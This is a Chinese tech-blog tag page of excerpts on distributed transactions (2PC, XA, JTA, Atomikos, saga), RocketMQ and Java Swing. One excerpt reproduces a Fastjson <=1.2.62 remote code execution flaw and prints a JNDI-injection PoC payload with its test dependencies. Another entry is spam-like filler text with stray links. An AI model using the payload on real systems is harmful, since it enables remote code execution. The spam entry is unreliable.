jta

分布式场景之刚性事务-2PC详解

|▌冷眼眸甩不掉的悲伤 提交于 2020-07-27 14:59:44
分布式一致性 分布式场景下,多个服务同时对服务一个流程,比如电商下单场景,需要支付服务进行支付、库存服务扣减库存、订单服务进行订单生成、物流服务更新物流信息等。如果某一个服务执行失败,或者网络不通引起的请求丢失,那么整个系统可能出现数据不一致的原因。 上述场景就是分布式一致性问题,追根到底,分布式一致性的根本原因在于数据的分布式操作,引起的本地事务无法保障数据的原子性引起。 分布式一致性问题的解决思路有两种,一种是分布式事务,一种是尽量通过业务流程避免分布式事务。分布式事务是直接解决问题,而业务规避其实通过解决出问题的地方(解决提问题的人)。其实在真实业务场景中,如果业务规避不是很麻烦的前提,最优雅的解决方案就是业务规避。 事务分类 分布式事务实现方案从类型上去分刚性事务、柔型事务。刚性事务:通常无业务改造,强一致性,原生支持回滚/隔离性,低并发,适合短事务。柔性事务:有业务改造,最终一致性,实现补偿接口,实现资源锁定接口,高并发,适合长事务。 刚性事务:XA 协议(2PC、JTA、JTS)、3PC 柔型事务:TCC/FMT、Saga(状态机模式、Aop模式)、本地事务消息、消息事务(半消息) 2PC定义 2PC全称Two-phaseCommit,中文名是二阶段提交,是XA规范的实现思路,XA规范是 X/Open DTP 定义的交易中间件与数据库之间的接口规范(即接口函数)

JPA多数据源分布式事务处理-两种事务方案

偶尔善良 提交于 2020-07-25 16:44:13
前言 多数据源的事务处理是个老生常谈的话题,跨两个数据源的事务管理也算是分布式事务的范畴,在同一个JVM里处理多数据源的事务,比较经典的处理方案是JTA(基于XA协议建模的java标准事务抽象)+XA(XA事务协议),常见的JTA实现框架有Atomikos、Bitronix、Narayana,Spring对这些框架都有组件封装,基本可以做到开箱即用程度。本文除了分享XA事务方案外,提供了一种新的多数据源事务解决思路和视角。 问题背景 在解决mysql字段脱敏处理时,结合sharding-jdbc的脱敏组件功能,为了sql兼容和最小化应用改造,博主给出了一个多数据源融合的字段脱敏解决方案(只把包含脱敏字段表的操作走sharding-jdbc脱敏代理数据源)。这个方案解决了问题的同时,带来了一个新的问题,数据源的事务是独立的,正如我文中所述 《JPA项目多数据源模式整合sharding-jdbc实现数据脱敏》 ,在spring上下文中,每个数据源对应一个独立的事务管理器,默认的事务管理器的数据源就用业务本身的数据源,所以需要加密的业务使用时,需要指定@Transactional注解里的事务管理器名称为脱敏对应的事务管理器名称。简单的业务场景这样用也就没有问题了,但是一般的业务场景总有一个事务覆盖两个数据源的操作,这个时候单指定哪个事务管理器都不行,so,这里需要一种多数据源的事务管理器

ConnectionPool: pool is empty - increase either maxPoolSize or borrowConnectionTimeout

徘徊边缘 提交于 2020-06-17 09:43:14
问题 I was facing this issue for my springboot application that connects to a DB and MQ, and uses Atomikos Transaction manager. com.atomikos.jms.AtomikosJMSException|Connection pool exhausted - try increasing 'maxPoolSize' and/or 'borrowConnectionTimeout' on the AtomikosConnectionFactoryBean. com.atomikos.datasource.pool.PoolExhaustedException: ConnectionPool: pool is empty - increase either maxPoolSize or borrowConnectionTimeout at com.atomikos.datasource.pool.ConnectionPool

UnexpectedRollbackException - JTA transaction unexpectedly rolled back

北慕城南 提交于 2020-05-16 20:30:49
问题 When I run the below code, I get UnexpectedRollbackException instead of ArrayIndexOutOfBoundsException Environment: Weblogic, Spring, Hibernate, JTA and EJB Code: public class ServiceImpl { @Transactional public void test() { throw new ArrayIndexOutOfBoundsException(); } } public class WebLayerClass { service.test(); } log: Caused by: org.springframework.transaction.UnexpectedRollbackException: JTA transaction unexpectedly rolled back (maybe due to a timeout); nested exception is weblogic

Fastjson <=1.2.62 远程代码执行-漏洞复现

血红的双手。 提交于 2020-05-09 22:21:21
影响范围: Fastjson<=1.2.62 需要开启autotype poc: String text1 = " {\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"} " ; pom.xml: <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.62</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> tips:这里需要另外导入jar包才能测试 该黑名单主要来自于jackson- CVE-2020-8840 https://nvd.nist.gov/vuln/detail/CVE-2020-8840 漏洞复现: 漏洞分析 这里明显存在jndi注入,但是toObjectImpl不满足fastjson调用规则,因此查看其父类函数

十分钟入门RocketMQ

耗尽温柔 提交于 2020-05-09 20:31:09
本文首先引出消息中间件通常需要解决哪些问题,在解决这些问题当中会遇到什么困难,Apache RocketMQ作为阿里开源的一款高性能、高吞吐量的分布式消息中间件否可以解决,规范中如何定义这些问题。然后本文将介绍RocketMQ的架构设计,以期让读者快速了解RocketMQ。 消息中间件需要解决哪些问题? Publish/Subscribe 发布订阅是消息中间件的最基本功能,也是相对于传统RPC通信而言。在此不再详述。 Message Priority 规范中描述的优先级是指在一个消息队列中,每条消息都有不同的优先级,一般用整数来描述,优先级高的消息先投递,如果消息完全在一个内存队列中,那么在投递前可以按照优先级排序,令优先级高的先投递。 由于RocketMQ所有消息都是持久化的,所以如果按照优先级来排序,开销会非常大,因此RocketMQ没有特意支持消息优先级,但是可以通过变通的方式实现类似功能,即单独配置一个优先级高的队列,和一个普通优先级的队列, 将不同优先级发送到不同队列即可。 对于优先级问题,可以归纳为2类: 只要达到优先级目的即可,不是严格意义上的优先级,通常将优先级划分为高、中、低,或者再多几个级别。每个优先级可以用不同的topic表示,发消息时,指定不同的topic来表示优先级,这种方式可以解决绝大部分的优先级问题,但是对业务的优先级精确性做了妥协。 严格的优先级

Java 图形化界面设计(GUI)实战练习(代码)

末鹿安然 提交于 2020-05-05 12:01:40
关于Java图形化界面设计,基础知识网上可搜,下面简单介绍一下重点概念,然后就由浅入深代码实例。 程序是为了方便用户使用的,Java引入图形化界面编程。 1.JFrame 是容器类 2.AWT 是抽象窗口组件工具包,是 Java 最早的用于编写图形节目应用程序的开发包。 3.Swing 是为了解决 AWT 存在的问题而新开发的包,它以 AWT 为基础的。 代码实例1: package com.zhouzhou; // 练习网格布局 import java.awt.* ; import javax.swing.* ; public class Demo9 extends JFrame { // 定义组件 int size = 9 ; JButton jbs[] = new JButton[size]; public static void main(String[] args) { // 创建实例 Demo9 de = new Demo9(); } // 构造函数 public Demo9() { // 创建组件 for ( int i = 0; i < size; i++ ) { jbs[i] = new JButton(String.valueOf(i)); } // 设置网格布局,这里只有前两个参数(行/列)3和3 的话,网格没有空隙 this .setLayout( new

我希望与爱文学的世人共

一笑奈何 提交于 2020-05-03 17:25:05
sdfsdf 服务网格作为一个改善服务到服务通信的专用基础设施层,是云原生范畴中最热门的话题。随着容器愈加流行,服务拓扑也频繁变动,这就需要更好的网络性能。服务网格能够通过服务发现、路由、负载均衡、心跳检测和支持可观测性,帮助我们管理网络流量。服务网格试图为无规则的复杂的容器问题提供规范化的解决方案 将供应链搬出中国,似乎成了过去两三个月新冠肺炎疫情衍生出的热门话题。 年初新冠肺炎疫情爆发,让中国供应链的生产活动几乎完全停顿,影响席卷全球:苹果的新 5G 有可能因疫情而延期推出,特斯拉新款芯片无法及时交付、陷入“芯片门”纠纷。其余像三星、小米、索尼等著名跨国企业,均受到供应链停摆的影响。 因此,fihxusg.answers.yahoo.com/question/index?qid=20200427202642AAOwKjZ?MO2=11fdl=79j hk.answers.yahoo.com/question/index?qid=20200427202642AAOwKjZ?IN7=16atv=09s nz.answers.yahoo.com/question/index?qid=20200427202642AAOwKjZ?XV5=66nla=65g answers.yahoo.com/question/index?qid=20200427202654AAXoeNd?EB5

王颖奇 201771010129《面向对象程序设计Java》第十八周实验总结

只愿长相守 提交于 2020-05-02 07:28:37
实验十八 总复习 实验时间 201 8 -12- 30 1、实验目的与要求 (1) 综合掌握java基本程序结构; (2) 综合掌握java面向对象程序设计特点; (3) 综合掌握java GUI 程序设计结构; (4) 综合掌握java多线程编程模型; (5) 综合编程练习。 2、实验内容和步骤 任务1 :填写课程课后调查问卷,网址:https://www.wjx.cn/jq/33108969.aspx。 任务2: 综合编程练习 练习1:设计一个用户信息采集程序,要求如下: (1) 用户信息输入界面如下图所示: (1)用户点击提交按钮时,用户输入信息显示控制台界面; (2)用户点击重置按钮后,清空用户已输入信息; (3)点击窗口关闭,程序退出。 代码: package demo; import java.awt.* ; import javax.swing.* ; public class Test { public static void main(String[] args) { EventQueue.invokeLater(() -> { Frame frame = new Frame(); frame.setTitle( "Student Detail" ); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

微服务-分布式事务之saga模式

半城伤御伤魂 提交于 2020-04-27 17:23:15
Saga相关概念 你已经使用 database ber service 模式,每个service拥有自己的database。一些业务事务会跨越多个service,所以你需要来确保data consistency。应用程序不能简单的使用本地的ACID事务。 saga事务模型又被叫做长时间运行的事务(long running transaction),一个长活事务可被分解成可以交错运行的子事务集合。其中每个子事务都是一个保证数据库一致性的真实事务。 对于分布式事务2PC(两阶段提交)不是一个好的选择, 把跨越多个service的每一个单独的事务实现成saga模式。一个saga是由local transaction组成的序列。每个local transaction更新本地数据库,然后发布一个message 或者event来触发下一个事务。如果有一个本地事务失败了,saga就会执行一系列的补偿事务来回滚之前的事务所做的修改。 举例 如:如电商下单,需要冻结商品库存,然后扣取用户的余额,最终完成订单。库存不足或账户余额不足都会导致下单失败,这里订单、库存、支付都是不同的模块service,都有自己的database 2PC的实现方式 2PC在JTA规范中实现如下 JTA控制器统一向3个服务发起prepare请求,如果3个请求都已确认,那3个服务都同时发起commit请求